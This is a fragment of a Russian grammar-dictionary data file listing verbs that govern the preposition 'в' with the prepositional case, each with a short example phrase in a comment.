rus_verbs:тормозить{}, // тормозить в облаке
rus_verbs:затевать{}, // затевать в лаборатории
rus_verbs:затопить{}, // затопить в бухте
rus_verbs:задерживать{}, // задерживать в лифте
rus_verbs:прогуляться{}, // прогуляться в лесу
rus_verbs:прорубить{}, // прорубить во льду
rus_verbs:очищать{}, // очищать в кислоте
rus_verbs:полулежать{}, // полулежать в гамаке
rus_verbs:исправить{}, // исправить в задании
rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи
rus_verbs:замучить{}, // замучить в плену
rus_verbs:разрушаться{}, // разрушаться в верхней части
rus_verbs:ерзать{}, // ерзать в кресле
rus_verbs:покопаться{}, // покопаться в залежах
rus_verbs:раскаяться{}, // раскаяться в содеянном
rus_verbs:пробежаться{}, // пробежаться в парке
rus_verbs:полежать{}, // полежать в гамаке
rus_verbs:позаимствовать{}, // позаимствовать в книге
rus_verbs:снижать{}, // снижать в несколько раз
rus_verbs:черпать{}, // черпать в поэзии
rus_verbs:заверять{}, // заверять в своей искренности
rus_verbs:проглядеть{}, // проглядеть в сумерках
rus_verbs:припарковать{}, // припарковать во дворе
rus_verbs:сверлить{}, // сверлить в стене
rus_verbs:здороваться{}, // здороваться в аудитории
rus_verbs:рожать{}, // рожать в воде
rus_verbs:нацарапать{}, // нацарапать в тетрадке
rus_verbs:затопать{}, // затопать в коридоре
rus_verbs:прописать{}, // прописать в правилах
rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах
rus_verbs:снизить{}, // снизить в несколько раз
rus_verbs:заблуждаться{}, // заблуждаться в своей теории
rus_verbs:откопать{}, // откопать в отвалах
rus_verbs:смастерить{}, // смастерить в лаборатории
rus_verbs:замедлиться{}, // замедлиться в парафине
rus_verbs:избивать{}, // избивать в участке
rus_verbs:мыться{}, // мыться в бане
rus_verbs:сварить{}, // сварить в кастрюльке
rus_verbs:раскопать{}, // раскопать в снегу
rus_verbs:крепиться{}, // крепиться в держателе
rus_verbs:дробить{}, // дробить в мельнице
rus_verbs:попить{}, // попить в ресторанчике
rus_verbs:затронуть{}, // затронуть в душе
rus_verbs:лязгнуть{}, // лязгнуть в тишине
rus_verbs:заправлять{}, // заправлять в полете
rus_verbs:размножаться{}, // размножаться в неволе
rus_verbs:потопить{}, // потопить в Тихом Океане
rus_verbs:кушать{}, // кушать в столовой
rus_verbs:замолкать{}, // замолкать в замешательстве
rus_verbs:измеряться{}, // измеряться в дюймах
rus_verbs:сбываться{}, // сбываться в мечтах
rus_verbs:задернуть{}, // задернуть в комнате
rus_verbs:затихать{}, // затихать в темноте
rus_verbs:прослеживаться{}, // прослеживается в журнале
rus_verbs:прерываться{}, // прерывается в начале
rus_verbs:изображаться{}, // изображается в любых фильмах
rus_verbs:фиксировать{}, // фиксировать в данной точке
rus_verbs:ослаблять{}, // ослаблять в поясе
rus_verbs:зреть{}, // зреть в теплице
rus_verbs:зеленеть{}, // зеленеть в огороде
rus_verbs:критиковать{}, // критиковать в статье
rus_verbs:облететь{}, // облететь в частном вертолете
rus_verbs:разбросать{}, // разбросать в комнате
rus_verbs:заразиться{}, // заразиться в людном месте
rus_verbs:рассеять{}, // рассеять в бою
rus_verbs:печься{}, // печься в духовке
rus_verbs:поспать{}, // поспать в палатке
rus_verbs:заступиться{}, // заступиться в драке
rus_verbs:сплетаться{}, // сплетаться в середине
rus_verbs:поместиться{}, // поместиться в мешке
rus_verbs:спереть{}, // спереть в лавке
// инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде
// инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш },
rus_verbs:проваляться{}, // проваляться в постели
rus_verbs:лечиться{}, // лечиться в стационаре
rus_verbs:определиться{}, // определиться в честном бою
rus_verbs:обработать{}, // обработать в растворе
rus_verbs:пробивать{}, // пробивать в стене
rus_verbs:перемешаться{}, // перемешаться в чане
rus_verbs:чесать{}, // чесать в паху
rus_verbs:пролечь{}, // пролечь в пустынной местности
rus_verbs:скитаться{}, // скитаться в дальних странах
rus_verbs:затрудняться{}, // затрудняться в выборе
rus_verbs:отряхнуться{}, // отряхнуться в коридоре
rus_verbs:разыгрываться{}, // разыгрываться в лотерее
rus_verbs:помолиться{}, // помолиться в церкви
rus_verbs:предписывать{}, // предписывать в рецепте
rus_verbs:порваться{}, // порваться в слабом месте
rus_verbs:греться{}, // греться в здании
rus_verbs:опровергать{}, // опровергать в своем выступлении
rus_verbs:помянуть{}, // помянуть в своем выступлении
rus_verbs:допросить{}, // допросить в прокуратуре
rus_verbs:материализоваться{}, // материализоваться в соседнем здании
rus_verbs:рассеиваться{}, // рассеиваться в воздухе
rus_verbs:перевозить{}, // перевозить в вагоне
rus_verbs:отбывать{}, // отбывать в тюрьме
rus_verbs:попахивать{}, // попахивать в отхожем месте
rus_verbs:перечислять{}, // перечислять в заключении
rus_verbs:зарождаться{}, // зарождаться в дебрях
rus_verbs:предъявлять{}, // предъявлять в своем письме
rus_verbs:распространять{}, // распространять в сети
rus_verbs:пировать{}, // пировать в соседнем селе
rus_verbs:начертать{}, // начертать в летописи
rus_verbs:расцветать{}, // расцветать в подходящих условиях
rus_verbs:царствовать{}, // царствовать в южной части материка
rus_verbs:накопить{}, // накопить в буфере
rus_verbs:закрутиться{}, // закрутиться в рутине
rus_verbs:отработать{}, // отработать в забое
rus_verbs:обокрасть{}, // обокрасть в автобусе
rus_verbs:прокладывать{}, // прокладывать в снегу
rus_verbs:ковырять{}, // ковырять в носу
rus_verbs:копить{}, // копить в очереди
rus_verbs:полечь{}, // полечь в степях
rus_verbs:щебетать{}, // щебетать в кустиках
rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении
rus_verbs:посеять{}, // посеять в огороде
rus_verbs:разъезжать{}, // разъезжать в кабриолете
rus_verbs:замечаться{}, // замечаться в лесу
rus_verbs:просчитать{}, // просчитать в уме
rus_verbs:маяться{}, // маяться в командировке
rus_verbs:выхватывать{}, // выхватывать в тексте
rus_verbs:креститься{}, // креститься в деревенской часовне
rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты
rus_verbs:настигать{}, // настигать в огороде
rus_verbs:разгуливать{}, // разгуливать в роще
rus_verbs:насиловать{}, // насиловать в квартире
rus_verbs:побороть{}, // побороть в себе
rus_verbs:учитывать{}, // учитывать в расчетах
rus_verbs:искажать{}, // искажать в заметке
rus_verbs:пропить{}, // пропить в кабаке
rus_verbs:катать{}, // катать в лодочке
rus_verbs:припрятать{}, // припрятать в кармашке
rus_verbs:запаниковать{}, // запаниковать в бою
rus_verbs:рассыпать{}, // рассыпать в траве
rus_verbs:застревать{}, // застревать в ограде
rus_verbs:зажигаться{}, // зажигаться в сумерках
rus_verbs:жарить{}, // жарить в масле
rus_verbs:накапливаться{}, // накапливаться в костях
rus_verbs:распуститься{}, // распуститься в горшке
rus_verbs:проголосовать{}, // проголосовать в передвижном пункте
rus_verbs:странствовать{}, // странствовать в автомобиле
rus_verbs:осматриваться{}, // осматриваться в хоромах
rus_verbs:разворачивать{}, // разворачивать в спортзале
rus_verbs:заскучать{}, // заскучать в самолете
rus_verbs:напутать{}, // напутать в расчете
rus_verbs:перекусить{}, // перекусить в столовой
rus_verbs:спасаться{}, // спасаться в автономной капсуле
rus_verbs:посовещаться{}, // посовещаться в комнате
rus_verbs:доказываться{}, // доказываться в статье
rus_verbs:познаваться{}, // познаваться в беде
rus_verbs:загрустить{}, // загрустить в одиночестве
rus_verbs:оживить{}, // оживить в памяти
rus_verbs:переворачиваться{}, // переворачиваться в гробу
rus_verbs:заприметить{}, // заприметить в лесу
rus_verbs:отравиться{}, // отравиться в забегаловке
rus_verbs:продержать{}, // продержать в клетке
rus_verbs:выявить{}, // выявить в костях
rus_verbs:заседать{}, // заседать в совете
rus_verbs:расплачиваться{}, // расплачиваться в первой кассе
rus_verbs:проломить{}, // проломить в двери
rus_verbs:подражать{}, // подражать в мелочах
rus_verbs:подсчитывать{}, // подсчитывать в уме
rus_verbs:опережать{}, // опережать во всем
rus_verbs:сформироваться{}, // сформироваться в облаке
rus_verbs:укрепиться{}, // укрепиться в мнении
rus_verbs:отстоять{}, // отстоять в очереди
rus_verbs:развертываться{}, // развертываться в месте испытания
rus_verbs:замерзать{}, // замерзать во льду
rus_verbs:утопать{}, // утопать в снегу
rus_verbs:раскаиваться{}, // раскаиваться в содеянном
rus_verbs:организовывать{}, // организовывать в пионерлагере
rus_verbs:перевестись{}, // перевестись в наших краях
rus_verbs:смешивать{}, // смешивать в блендере
rus_verbs:ютиться{}, // ютиться в тесной каморке
rus_verbs:прождать{}, // прождать в аудитории
rus_verbs:подыскивать{}, // подыскивать в женском общежитии
rus_verbs:замочить{}, // замочить в сортире
rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке
rus_verbs:растирать{}, // растирать в ступке
rus_verbs:замедлять{}, // замедлять в парафине
rus_verbs:переспать{}, // переспать в палатке
rus_verbs:рассекать{}, // рассекать в кабриолете
rus_verbs:отыскивать{}, // отыскивать в залежах
rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении
rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке
rus_verbs:укрываться{}, // укрываться в землянке
rus_verbs:запечься{}, // запечься в золе
rus_verbs:догорать{}, // догорать в темноте
rus_verbs:застилать{}, // застилать в коридоре
rus_verbs:сыскаться{}, // сыскаться в деревне
rus_verbs:переделать{}, // переделать в мастерской
rus_verbs:разъяснять{}, // разъяснять в своей лекции
rus_verbs:селиться{}, // селиться в центре
rus_verbs:оплачивать{}, // оплачивать в магазине
rus_verbs:переворачивать{}, // переворачивать в закрытой банке
rus_verbs:упражняться{}, // упражняться в остроумии
rus_verbs:пометить{}, // пометить в списке
rus_verbs:припомниться{}, // припомниться в завещании
rus_verbs:приютить{}, // приютить в амбаре
rus_verbs:натерпеться{}, // натерпеться в темнице
rus_verbs:затеваться{}, // затеваться в клубе
rus_verbs:уплывать{}, // уплывать в лодке
rus_verbs:скиснуть{}, // скиснуть в бидоне
rus_verbs:заколоть{}, // заколоть в боку
rus_verbs:замерцать{}, // замерцать в темноте
rus_verbs:фиксироваться{}, // фиксироваться в протоколе
rus_verbs:запираться{}, // запираться в комнате
rus_verbs:съезжаться{}, // съезжаться в каретах
rus_verbs:толочься{}, // толочься в ступе
rus_verbs:потанцевать{}, // потанцевать в клубе
rus_verbs:побродить{}, // побродить в парке
rus_verbs:назревать{}, // назревать в коллективе
rus_verbs:дохнуть{}, // дохнуть в питомнике
rus_verbs:крестить{}, // крестить в деревенской церквушке
rus_verbs:рассчитаться{}, // рассчитаться в банке
rus_verbs:припарковаться{}, // припарковаться во дворе
rus_verbs:отхватить{}, // отхватить в магазинчике
rus_verbs:остывать{}, // остывать в холодильнике
rus_verbs:составляться{}, // составляться в атмосфере тайны
rus_verbs:переваривать{}, // переваривать в тишине
rus_verbs:хвастать{}, // хвастать в казино
rus_verbs:отрабатывать{}, // отрабатывать в теплице
rus_verbs:разлечься{}, // разлечься в кровати
rus_verbs:прокручивать{}, // прокручивать в голове
rus_verbs:очертить{}, // очертить в воздухе
rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей
rus_verbs:выявлять{}, // выявлять в боевых условиях
rus_verbs:караулить{}, // караулить в лифте
rus_verbs:расставлять{}, // расставлять в бойницах
rus_verbs:прокрутить{}, // прокрутить в голове
rus_verbs:пересказывать{}, // пересказывать в первой главе
rus_verbs:задавить{}, // задавить в зародыше
rus_verbs:хозяйничать{}, // хозяйничать в холодильнике
rus_verbs:хвалиться{}, // хвалиться в детском садике
rus_verbs:оперировать{}, // оперировать в полевом госпитале
rus_verbs:формулировать{}, // формулировать в следующей главе
rus_verbs:застигнуть{}, // застигнуть в неприглядном виде
rus_verbs:замурлыкать{}, // замурлыкать в тепле
rus_verbs:поддакивать{}, // поддакивать в споре
rus_verbs:прочертить{}, // прочертить в воздухе
rus_verbs:отменять{}, // отменять в городе коменданский час
rus_verbs:колдовать{}, // колдовать в лаборатории
rus_verbs:отвозить{}, // отвозить в машине
rus_verbs:трахать{}, // трахать в гамаке
rus_verbs:повозиться{}, // повозиться в мешке
rus_verbs:ремонтировать{}, // ремонтировать в центре
rus_verbs:робеть{}, // робеть в гостях
rus_verbs:перепробовать{}, // перепробовать в деле
инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии
глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш },
rus_verbs:покаяться{}, // покаяться в церкви
rus_verbs:попрыгать{}, // попрыгать в бассейне
rus_verbs:умалчивать{}, // умалчивать в своем докладе
rus_verbs:ковыряться{}, // ковыряться в старой технике
rus_verbs:расписывать{}, // расписывать в деталях
rus_verbs:вязнуть{}, // вязнуть в песке
rus_verbs:погрязнуть{}, // погрязнуть в скандалах
rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу
rus_verbs:зажимать{}, // зажимать в углу
rus_verbs:стискивать{}, // стискивать в ладонях
rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса
rus_verbs:израсходовать{}, // израсходовать в полете
rus_verbs:клокотать{}, // клокотать в жерле
rus_verbs:обвиняться{}, // обвиняться в растрате
rus_verbs:уединиться{}, // уединиться в кладовке
rus_verbs:подохнуть{}, // подохнуть в болоте
rus_verbs:кипятиться{}, // кипятиться в чайнике
rus_verbs:уродиться{}, // уродиться в лесу
rus_verbs:продолжиться{}, // продолжиться в баре
rus_verbs:расшифровать{}, // расшифровать в специальном устройстве
rus_verbs:посапывать{}, // посапывать в кровати
rus_verbs:скрючиться{}, // скрючиться в мешке
rus_verbs:лютовать{}, // лютовать в отдаленных селах
rus_verbs:расписать{}, // расписать в статье
rus_verbs:публиковаться{}, // публиковаться в научном журнале
rus_verbs:зарегистрировать{}, // зарегистрировать в комитете
rus_verbs:прожечь{}, // прожечь в листе
rus_verbs:переждать{}, // переждать в окопе
rus_verbs:публиковать{}, // публиковать в журнале
rus_verbs:морщить{}, // морщить в уголках глаз
rus_verbs:спиться{}, // спиться в одиночестве
rus_verbs:изведать{}, // изведать в гареме
rus_verbs:обмануться{}, // обмануться в ожиданиях
rus_verbs:сочетать{}, // сочетать в себе
rus_verbs:подрабатывать{}, // подрабатывать в магазине
rus_verbs:репетировать{}, // репетировать в студии
rus_verbs:рябить{}, // рябить в глазах
rus_verbs:намочить{}, // намочить в луже
rus_verbs:скатать{}, // скатать в руке
rus_verbs:одевать{}, // одевать в магазине
rus_verbs:испечь{}, // испечь в духовке
rus_verbs:сбрить{}, // сбрить в подмышках
rus_verbs:зажужжать{}, // зажужжать в ухе
rus_verbs:сберечь{}, // сберечь в тайном месте
rus_verbs:согреться{}, // согреться в хижине
инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле
глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш },
rus_verbs:переплыть{}, // переплыть в лодочке
rus_verbs:передохнуть{}, // передохнуть в тени
rus_verbs:отсвечивать{}, // отсвечивать в зеркалах
rus_verbs:переправляться{}, // переправляться в лодках
rus_verbs:накупить{}, // накупить в магазине
rus_verbs:проторчать{}, // проторчать в очереди
rus_verbs:проскальзывать{}, // проскальзывать в сообщениях
rus_verbs:застукать{}, // застукать в солярии
rus_verbs:наесть{}, // наесть в отпуске
rus_verbs:подвизаться{}, // подвизаться в новом деле
rus_verbs:вычистить{}, // вычистить в саду
rus_verbs:кормиться{}, // кормиться в лесу
rus_verbs:покурить{}, // покурить в саду
rus_verbs:понизиться{}, // понизиться в ранге
rus_verbs:зимовать{}, // зимовать в избушке
rus_verbs:проверяться{}, // проверяться в службе безопасности
rus_verbs:подпирать{}, // подпирать в первом забое
rus_verbs:кувыркаться{}, // кувыркаться в постели
rus_verbs:похрапывать{}, // похрапывать в постели
rus_verbs:завязнуть{}, // завязнуть в песке
rus_verbs:трактовать{}, // трактовать в исследовательской статье
rus_verbs:замедляться{}, // замедляться в тяжелой воде
rus_verbs:шастать{}, // шастать в здании
rus_verbs:заночевать{}, // заночевать в пути
rus_verbs:наметиться{}, // наметиться в исследованиях рака
rus_verbs:освежить{}, // освежить в памяти
rus_verbs:оспаривать{}, // оспаривать в суде
rus_verbs:умещаться{}, // умещаться в ячейке
rus_verbs:искупить{}, // искупить в бою
rus_verbs:отсиживаться{}, // отсиживаться в тылу
rus_verbs:мчать{}, // мчать в кабриолете
rus_verbs:обличать{}, // обличать в своем выступлении
rus_verbs:сгнить{}, // сгнить в тюряге
rus_verbs:опробовать{}, // опробовать в деле
rus_verbs:тренировать{}, // тренировать в зале
rus_verbs:прославить{}, // прославить в академии
rus_verbs:учитываться{}, // учитываться в дипломной работе
rus_verbs:повеселиться{}, // повеселиться в лагере
rus_verbs:поумнеть{}, // поумнеть в карцере
rus_verbs:перестрелять{}, // перестрелять в воздухе
rus_verbs:проведать{}, // проведать в больнице
rus_verbs:измучиться{}, // измучиться в деревне
rus_verbs:прощупать{}, // прощупать в глубине
rus_verbs:изготовлять{}, // изготовлять в сарае
rus_verbs:свирепствовать{}, // свирепствовать в популяции
rus_verbs:иссякать{}, // иссякать в источнике
rus_verbs:гнездиться{}, // гнездиться в дупле
rus_verbs:разогнаться{}, // разогнаться в спортивной машине
rus_verbs:опознавать{}, // опознавать в неизвестном
rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде
rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках
rus_verbs:редактировать{}, // редактировать в редакторе
rus_verbs:покупаться{}, // покупаться в магазине
rus_verbs:промышлять{}, // промышлять в роще
rus_verbs:растягиваться{}, // растягиваться в коридоре
rus_verbs:приобретаться{}, // приобретаться в антикварных лавках
инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде
глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш },
rus_verbs:запечатлеться{}, // запечатлеться в мозгу
rus_verbs:укрывать{}, // укрывать в подвале
rus_verbs:закрепиться{}, // закрепиться в первой башне
rus_verbs:освежать{}, // освежать в памяти
rus_verbs:громыхать{}, // громыхать в ванной
инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати
глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш },
rus_verbs:добываться{}, // добываться в шахтах
rus_verbs:растворить{}, // растворить в кислоте
rus_verbs:приплясывать{}, // приплясывать в гримерке
rus_verbs:доживать{}, // доживать в доме престарелых
rus_verbs:отпраздновать{}, // отпраздновать в ресторане
rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях
rus_verbs:помыть{}, // помыть в проточной воде
инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке
глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш },
прилагательное:увязавший{ вид:несоверш },
rus_verbs:наличествовать{}, // наличествовать в запаснике
rus_verbs:нащупывать{}, // нащупывать в кармане
rus_verbs:повествоваться{}, // повествоваться в рассказе
rus_verbs:отремонтировать{}, // отремонтировать в техцентре
rus_verbs:покалывать{}, // покалывать в правом боку
rus_verbs:сиживать{}, // сиживать в саду
rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях
rus_verbs:укрепляться{}, // укрепляться в мнении
rus_verbs:разниться{}, // разниться во взглядах
rus_verbs:сполоснуть{}, // сполоснуть в водичке
rus_verbs:скупать{}, // скупать в магазине
rus_verbs:почесывать{}, // почесывать в паху
rus_verbs:оформлять{}, // оформлять в конторе
rus_verbs:распускаться{}, // распускаться в садах
rus_verbs:зарябить{}, // зарябить в глазах
rus_verbs:загореть{}, // загореть в Испании
rus_verbs:очищаться{}, // очищаться в баке
rus_verbs:остудить{}, // остудить в холодной воде
rus_verbs:разбомбить{}, // разбомбить в горах
rus_verbs:издохнуть{}, // издохнуть в бедности
rus_verbs:проехаться{}, // проехаться в новой машине
rus_verbs:задействовать{}, // задействовать в анализе
rus_verbs:произрастать{}, // произрастать в степи
rus_verbs:разуться{}, // разуться в прихожей
rus_verbs:сооружать{}, // сооружать в огороде
rus_verbs:зачитывать{}, // зачитывать в суде
rus_verbs:состязаться{}, // состязаться в остроумии
rus_verbs:ополоснуть{}, // ополоснуть в молоке
rus_verbs:уместиться{}, // уместиться в кармане
rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом
rus_verbs:стираться{}, // стираться в стиральной машине
rus_verbs:искупаться{}, // искупаться в прохладной реке
rus_verbs:курировать{}, // курировать в правительстве
rus_verbs:закупить{}, // закупить в магазине
rus_verbs:плодиться{}, // плодиться в подходящих условиях
rus_verbs:горланить{}, // горланить в парке
rus_verbs:першить{}, // першить в горле
rus_verbs:пригрезиться{}, // пригрезиться во сне
rus_verbs:исправлять{}, // исправлять в тетрадке
rus_verbs:расслабляться{}, // расслабляться в гамаке
rus_verbs:скапливаться{}, // скапливаться в нижней части
rus_verbs:сплетничать{}, // сплетничают в комнате
rus_verbs:раздевать{}, // раздевать в кабинке
rus_verbs:окопаться{}, // окопаться в лесу
rus_verbs:загорать{}, // загорать в Испании
rus_verbs:подпевать{}, // подпевать в церковном хоре
rus_verbs:прожужжать{}, // прожужжать в динамике
rus_verbs:изучаться{}, // изучаться в дикой природе
rus_verbs:заклубиться{}, // заклубиться в воздухе
rus_verbs:подметать{}, // подметать в зале
rus_verbs:подозреваться{}, // подозреваться в совершении кражи
rus_verbs:обогащать{}, // обогащать в специальном аппарате
rus_verbs:издаться{}, // издаться в другом издательстве
rus_verbs:справить{}, // справить в кустах нужду
rus_verbs:помыться{}, // помыться в бане
rus_verbs:проскакивать{}, // проскакивать в словах
rus_verbs:попивать{}, // попивать в кафе чай
rus_verbs:оформляться{}, // оформляться в регистратуре
rus_verbs:чирикать{}, // чирикать в кустах
rus_verbs:скупить{}, // скупить в магазинах
rus_verbs:переночевать{}, // переночевать в гостинице
rus_verbs:концентрироваться{}, // концентрироваться в пробирке
rus_verbs:одичать{}, // одичать в лесу
rus_verbs:ковырнуть{}, // ковырнуть в ухе
rus_verbs:затеплиться{}, // затеплиться в глубине души
rus_verbs:разгрести{}, // разгрести в задачах залежи
rus_verbs:застопориться{}, // застопориться в начале списка
rus_verbs:перечисляться{}, // перечисляться во введении
rus_verbs:покататься{}, // покататься в парке аттракционов
rus_verbs:изловить{}, // изловить в поле
rus_verbs:прославлять{}, // прославлять в стихах
rus_verbs:промочить{}, // промочить в луже
rus_verbs:поделывать{}, // поделывать в отпуске
rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии
rus_verbs:подстеречь{}, // подстеречь в подъезде
rus_verbs:прикупить{}, // прикупить в магазине
rus_verbs:перемешивать{}, // перемешивать в кастрюле
rus_verbs:тискать{}, // тискать в углу
rus_verbs:купать{}, // купать в теплой водичке
rus_verbs:завариться{}, // завариться в стакане
rus_verbs:притулиться{}, // притулиться в углу
rus_verbs:пострелять{}, // пострелять в тире
rus_verbs:навесить{}, // навесить в больнице
инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере
глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш },
rus_verbs:нежиться{}, // нежится в постельке
rus_verbs:притомиться{}, // притомиться в школе
rus_verbs:раздвоиться{}, // раздвоиться в глазах
rus_verbs:навалить{}, // навалить в углу
rus_verbs:замуровать{}, // замуровать в склепе
rus_verbs:поселяться{}, // поселяться в кроне дуба
rus_verbs:потягиваться{}, // потягиваться в кровати
rus_verbs:укачать{}, // укачать в поезде
rus_verbs:отлеживаться{}, // отлеживаться в гамаке
rus_verbs:разменять{}, // разменять в кассе
rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде
rus_verbs:ржаветь{}, // ржаветь в воде
rus_verbs:уличить{}, // уличить в плагиате
rus_verbs:мутиться{}, // мутиться в голове
rus_verbs:растворять{}, // растворять в бензоле
rus_verbs:двоиться{}, // двоиться в глазах
rus_verbs:оговорить{}, // оговорить в договоре
rus_verbs:подделать{}, // подделать в документе
rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети
rus_verbs:растолстеть{}, // растолстеть в талии
rus_verbs:повоевать{}, // повоевать в городских условиях
rus_verbs:прибраться{}, // гнушаться прибраться в хлеву
rus_verbs:поглощаться{}, // поглощаться в металлической фольге
rus_verbs:ухать{}, // ухать в лесу
rus_verbs:подписываться{}, // подписываться в петиции
rus_verbs:покатать{}, // покатать в машинке
rus_verbs:излечиться{}, // излечиться в клинике
rus_verbs:трепыхаться{}, // трепыхаться в мешке
rus_verbs:кипятить{}, // кипятить в кастрюле
rus_verbs:понастроить{}, // понастроить в прибрежной зоне
rus_verbs:перебывать{}, // перебывать во всех европейских столицах
rus_verbs:оглашать{}, // оглашать в итоговой части
rus_verbs:преуспевать{}, // преуспевать в новом бизнесе
rus_verbs:консультироваться{}, // консультироваться в техподдержке
rus_verbs:накапливать{}, // накапливать в печени
rus_verbs:перемешать{}, // перемешать в контейнере
rus_verbs:наследить{}, // наследить в коридоре
rus_verbs:выявиться{}, // выявиться в результе
rus_verbs:забулькать{}, // забулькать в болоте
rus_verbs:отваривать{}, // отваривать в молоке
rus_verbs:запутываться{}, // запутываться в веревках
rus_verbs:нагреться{}, // нагреться в микроволновой печке
rus_verbs:рыбачить{}, // рыбачить в открытом море
rus_verbs:укорениться{}, // укорениться в сознании широких народных масс
rus_verbs:умывать{}, // умывать в тазике
rus_verbs:защекотать{}, // защекотать в носу
rus_verbs:заходиться{}, // заходиться в плаче
инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке
глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш },
деепричастие:искупав{}, деепричастие:искупая{},
rus_verbs:заморозить{}, // заморозить в холодильнике
rus_verbs:закреплять{}, // закреплять в металлическом держателе
rus_verbs:расхватать{}, // расхватать в магазине
rus_verbs:истязать{}, // истязать в тюремном подвале
rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере
rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле
rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете
rus_verbs:подогреть{}, // подогрей в микроволновке
rus_verbs:подогревать{},
rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку
rus_verbs:проделать{}, // проделать в стене дыру
инфинитив:жениться{ вид:соверш }, // жениться в Техасе
инфинитив:жениться{ вид:несоверш },
глагол:жениться{ вид:соверш },
глагол:жениться{ вид:несоверш },
деепричастие:женившись{},
деепричастие:женясь{},
прилагательное:женатый{},
прилагательное:женившийся{вид:соверш},
прилагательное:женящийся{},
rus_verbs:всхрапнуть{}, // всхрапнуть во сне
rus_verbs:всхрапывать{}, // всхрапывать во сне
rus_verbs:ворочаться{}, // Собака ворочается во сне
rus_verbs:воссоздаваться{}, // воссоздаваться в памяти
rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах
инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу
инфинитив:атаковать{ вид:соверш },
глагол:атаковать{ вид:несоверш },
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{},
прилагательное:атаковавший{},
прилагательное:атакующий{},
инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени
инфинитив:аккумулировать{вид:соверш},
глагол:аккумулировать{вид:несоверш},
глагол:аккумулировать{вид:соверш},
прилагательное:аккумулированный{},
прилагательное:аккумулирующий{},
//прилагательное:аккумулировавший{ вид:несоверш },
прилагательное:аккумулировавший{ вид:соверш },
rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию
rus_verbs:вырасти{}, // Он вырос в глазах коллег.
rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо.
rus_verbs:убить{}, // убить в себе зверя
инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани
инфинитив:абсорбироваться{ вид:несоверш },
глагол:абсорбироваться{ вид:соверш },
глагол:абсорбироваться{ вид:несоверш },
rus_verbs:поставить{}, // поставить в углу
rus_verbs:сжимать{}, // сжимать в кулаке
rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах
rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях
инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы
инфинитив:активизироваться{ вид:соверш },
глагол:активизироваться{ вид:несоверш },
глагол:активизироваться{ вид:соверш },
rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера
rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе
rus_verbs:базировать{}, // установка будет базирована в лесу
rus_verbs:барахтаться{}, // дети барахтались в воде
rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка
rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне
rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе
rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины
rus_verbs:блуждать{}, // Туристы блуждали в лесу
rus_verbs:брать{}, // Жена берет деньги в тумбочке
rus_verbs:бродить{}, // парочки бродили в парке
rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге
rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США
rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде
rus_verbs:вариться{}, // Курица варится в кастрюле
rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году
rus_verbs:прокручиваться{}, // Ключ прокручивается в замке
rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке
rus_verbs:храниться{}, // Настройки хранятся в текстовом файле
rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле
rus_verbs:витать{}, // Мальчик витает в облаках
